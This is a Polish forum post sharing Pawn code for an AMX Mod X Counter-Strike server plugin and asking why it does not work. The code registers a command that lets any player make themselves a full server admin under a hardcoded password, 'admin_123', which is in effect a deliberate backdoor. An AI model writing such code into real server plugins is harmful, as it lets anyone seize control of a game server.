#include <amxmodx> new const PLUGINNAME[] = "Daje admina" new const VERSION[] = "0.1" new const AUTHOR[] = "JaCo" new const haslo[] = "admin_123" public plugin_init() { register_clcmd("amx_daj_adma", "admin"); register_plugin(PLUGINNAME, VERSION, AUTHOR) } public admin(id) { new name[32] get_user_name(id, name, 31) client_cmd(id, "setinfo _pw %s ", haslo) server_cmd("amx_addadmin %s abcdefghijklmnoprstu %s nick",name, haslo) }
coś takiego zmodziłem Ale nie działa. Jaką metodą mogę zrobić coś takiego ?